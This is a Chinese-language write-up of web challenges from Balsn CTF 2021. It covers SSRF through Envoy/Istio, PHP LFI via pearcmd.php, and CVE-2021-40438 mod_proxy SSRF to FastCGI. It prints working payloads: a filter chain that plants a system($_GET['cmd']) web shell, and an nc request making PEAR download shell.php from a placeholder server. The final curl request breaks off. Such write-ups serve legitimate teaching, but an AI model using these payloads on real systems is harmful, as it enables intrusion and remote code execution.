和 Goburin’ 一起參加了 Balsn CTF 2021 拿第三名,這次我主要解了 web,其他的話 misc 解掉一題,rev 解半題。
Web
Proxy
這題一進去就告訴你 /query?site=[your website]
,所以就開始來試試看 SSRF 可以碰到什麼東西。測試一下 file:///proc/self/environ
可以讀到東西,從裡面知道題目是 python 寫的,然後有用 k8s 且還有個隱藏服務在 10.44.3.240:39307
的位置。
直接 SSRF 10.44.3.240:39307
會失敗,不過可以在 file:///proc/self/cwd/main.py
找到 source code:
import urllib.request
from flask import Flask, request
app = Flask(__name__)
@app.route("/meow")
def meow():
return 'meow?'
@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site, timeout=5).read()
return text
@app.route("/")
def hello_world():
return "/query?site=[your website]"
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)
非常簡單,就 Python urllib.request.urlopen
的 SSRF 而已。有個 /meow
直接存取的話會得到 RBAC: access denied
,但是 SSRF http://localhost:8000/meow
就很正常。查一下錯誤訊息可以知道好像是某個叫 Istio 的東西在作怪。不過我們一開始就卡在這邊不知道怎麼繼續。
後來 Allen 從 file:///proc/net/tcp
找出了 port 15000,而 http://127.0.0.1:15000
也可以看到有個 Envoy Admin
。
之後我在上面找到了 http://127.0.0.1:15000/config_dump
,裡面有一段很可疑的段落:
"name": "secret-service-20a91e.default.svc.cluster.local:39307",
"domains": [
"secret-service-20a91e.default.svc.cluster.local",
"secret-service-20a91e.default.svc.cluster.local:39307",
"secret-service-20a91e",
"secret-service-20a91e:39307",
"secret-service-20a91e.default.svc.cluster",
"secret-service-20a91e.default.svc.cluster:39307",
"secret-service-20a91e.default.svc",
"secret-service-20a91e.default.svc:39307",
"secret-service-20a91e.default",
"secret-service-20a91e.default:39307",
"10.44.3.240",
"10.44.3.240:39307"
],
SSRF 其中一個 http://secret-service-20a91e:39307/
會看到它說 here is your flag: /flag
,只是 SSRF http://secret-service-20a91e:39307/flag
卻會直接錯誤。測試了一下感覺也是那什麼 Istio 在作怪,不過隨便在 path 的地方加上了一個 /
就過了: http://secret-service-20a91e:39307//flag
Flag: BALSN{default_istio_service_mesh_envoy_configurations}
說真的,我完全不懂這題在做什麼,也不懂到底為什麼可以這樣解 ==
官方文件: Istio - Understand path normalization in authorization policy
2linephp
<?php ($_=$_SERVER['REQUEST_URI']) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');
此題就只有這兩行,phpinfo.php
應該是真的 phpinfo();
,因為它會隨著 request 變化。
目標就是 url 含 query string 不可包含 zip
, p:
和 s:
,然後可以 LFI 任意 .php
結尾的檔案,只是開頭前 5 bytes 需要是 <?php
這題還有說 0CTF 1linephp is too hard
,而那題的 writeup 主要是利用了 zip 的 extension 加上 upload progress 去 LFI zip:///tmp/sess_mysessid#shell.php
這樣的方法得到 shell 的。
只是這題從 phpinfo.php
可以看出它沒有安裝 zip extension。我一開始就在這邊卡了一段時間。
後來和 0CTF 1linephp 仔細比較一下可以看出一些端倪:
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
1linephp 要求開頭是 @<?php
,但是這題要求 <?php
,測試了一下可以知道 ?kaibro=index
可以成功讓它遞迴 include 到記憶體爆炸。?kaibro=phpinfo
也是預期中的結果。
可能會覺得只有 index.php
和 phpinfo.php
兩個檔案有什麼用,只是這個其實是解題關鍵之一。可以按照它的版本自己在 local 跑 docker 起來看看:
FROM php:7.4.11-apache # same as 0CTF 1linephp
COPY src/ /var/www/html/
之後進入 container 裡面自己跑跑看 grep -rnw '^<?php'
,可以發現在 /usr/local/php
底下有一堆符合的檔案,其中一個很關鍵的是 /usr/local/lib/php/pearcmd.php
看了就有點可疑。
去網路上查一下關於 pearcmd
可以找到這篇,裡面有幾個比較重要的資訊在:
register_argc_argv
有開啟的話(docker 版本正好預設有開)可以自動把 query string 轉換成 argv:
<?php
var_dump($_SERVER['argv']);
// querystring: ?a+b
// $_SERVER['argv'][0] === 'a'
// $_SERVER['argv'][1] === 'b'
pearcmd.php
是 php 的 PEAR package manager 的 CLI,裡面會從 argv 讀取參數。當 argv 是我們遠端可控的時候就有了一些利用的機會。
裡面大致上是介紹了兩個用法,一個是從遠端下載檔案到 local:
pear install -R /tmp http://xxxxxxx/shell.php
下載的檔名實際上是會看
Content-Disposition
決定的
另一個用法是從參數中直接寫入檔案:
pear -c /tmp/peko.php -d man_dir=miko -s
上面的指令會讓 /tmp/peko.php
的內容為:
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:4:"miko";}
雖然第一個看起來比較簡單,只是前面有 p:
s:
應該就是為了擋這個用法的 (http://
, https://
),所以我這邊採用的是第二個。
只是寫入之後還需要讓檔案開頭變成 <?php
才行,這邊的問題就很類似最初 Orange 的 One Line PHP Challenge 遇到的問題。方法就是利用 php://filter/
套一套解決。
首先是 php base64 decode 會自動忽略掉非 base64 的字元,測試一下可以發現這個檔案 base64 decode 之後第一個字元很剛好的會是 <
,此時就會想說是不是能湊個 >
然後用 string.strip_tags
把它們去掉。
一個要處裡的小問題是它還要符合 base64 decode 的原理,需要讓它 padding 到適當的位置去才行,我這邊是這樣生成 payload 的:
from base64 import *
# file format:
"""
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:9:"PLACEHOLDER";}
"""
payload = b'<?php system($_GET["cmd"]);'
enc = b64encode(payload)
print(b64encode(b'aaa>'+enc+b'<aa'))
這樣它第一次 base64 decode 會得到 <garbage>base64<garbage
,經過 string.strip_tags
會變成 base64
,再次 decode 得到 <?php system($_GET["cmd"]);
就是我們的目標。
所以用下面的方法對 /tmp/maple3142.php
寫入 shell:
http://2linephp1.balsnctf.com:50080/?kaibro=/usr/local/lib/php/pearcmd&+-c+/tmp/maple3142.php+-d+man_dir=YWFhPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYQ+-s+
接下來就能執行指令讀 flag:
http://2linephp1.balsnctf.com:50080/?kaibro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/maple3142&cmd=/readflag
p:
很好繞,直接%70:
就能過了。之所以http://
的p:
不能這樣繞的原因似乎是因為 argv 的部份和$_GET
不一樣,不會 url decode
Flag: BALSN{1linephp_1s_tooo_hard:(}
這題的 intended 似乎是要自己弄 pear 的 channel 出來
0linephp
這題有兩個 container,apache 和 php 是分開的。
php 部份是:
FROM php:7.4.24-fpm
RUN chmod 555 /var/www/html
RUN chown root:root /var/www/html
有個 index.php
,而裡面真的是空的 (0 line)。
apache 使用的 config 是:
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
DirectoryIndex disabled
DirectoryIndex index.php
ProxyErrorOverride on
RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404
ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on
建議: 如果要在 local 測試可以把
ProxyErrorOverride
設為off
使用的 docker 為:
FROM httpd:2.4.48
RUN echo 'Include conf/extra/proxy-php.conf' >> /usr/local/apache2/conf/httpd.conf
docker-compose.yml
:
version: '3.9'
services:
apache:
build: apache
volumes:
- ./apache/proxy-php.conf:/usr/local/apache2/conf/extra/proxy-php.conf:ro
ports:
- 80:80
php:
build: php
volumes:
- ./php/index.php:/var/www/html/index.php:ro
解題的第一個關鍵是 apache 版本 2.4.48,有在關注的話可能會知道不久前 apache 有一些比較大的 CVE 出現,像是 path traversal 之類的。查了一下會知道 CVE-2021-42013 的只適用於 2.4.49 和 2.4.50 而已,所以對這題沒用。
不過再找一下可以看到有個 CVE-2021-40438,它是個 mod_proxy
的 bug 可以造成 SSRF,適用於 2.4.48。
查一下可以找到 Building a POC for CVE-2021-40438 這篇文章,裡面就有了如何利用 mod_proxy_http
去 SSRF 其他的網站,不過也沒有細節的說明。
後來另外有找到了這篇 Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸,裡面的內容真的寫的很好,建議一定要仔細讀完裡面的講解才能比較好理解這題的作法。
雖然它裡面說 mod_proxy_fcgi
因為會 url encode 的原因沒辦法使用,不過可以看到 proxy_fcgi_canon
裡面有:
if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url), enc_path, 0,
r->proxyreq);
}
而此題的 apache config 的最後一行是:
ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on
因為有 nocanon
,走的是上面的 if,所以不會被 url encode,有機會去 SSRF。此時如果理解了這個 CVE 應該能夠生成這個 payload 去 SSRF fastcgi:
curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAA...AAA|fcgi://php:9000/var/www/html/index.php' -v
此時應該會想說搞不好能 SSRF fcgi://php:9000/flag
看看可不可以拿到 flag,然而實際上只會得到 403 error 而已。測試了一下把 /flag
改為 /flag.php
就能成功,另外做一些實驗能大概知道 fastcgi 只能接受副檔名為 .php
結尾的檔案而已。
這個時候會發現目前的狀況和 2linephp 很像,都是 SSRF fastcgi 去 LFI .php
結尾的檔案,只是沒要求檔案開頭是什麼而已。
所以會想把前面一題的 pearcmd.php
拿出來用。不過前一題的方法不能直接照搬,因為 apache config 限制了當 query string 中包含 php
的時候一律 404:
RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404
這邊我用的是另一個做法,install -R /tmp remote_url
的做法,在自己的 server 弄個 path 可以下載檔案,而 header 要給個 Content-Disposition: attachment; filename="shell.php"
。然後讓它下載 shell 到 /tmp/tmp/pear/download/shell.php
) 之後在第二個 request 讓它執行 command 即可。
第一個下載檔案的 request:
用
echo
是因為發現 curl 好像會對 url 做一些處裡:
echo -n $'GET /unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/usr/local/lib/php/pearcmd.php/?peko=miko&+install+-R+/tmp+http://YOUR_SERVER/ HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc 0linephp0.balsnctf.com 80
第二個讀 flag 的 request:
curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA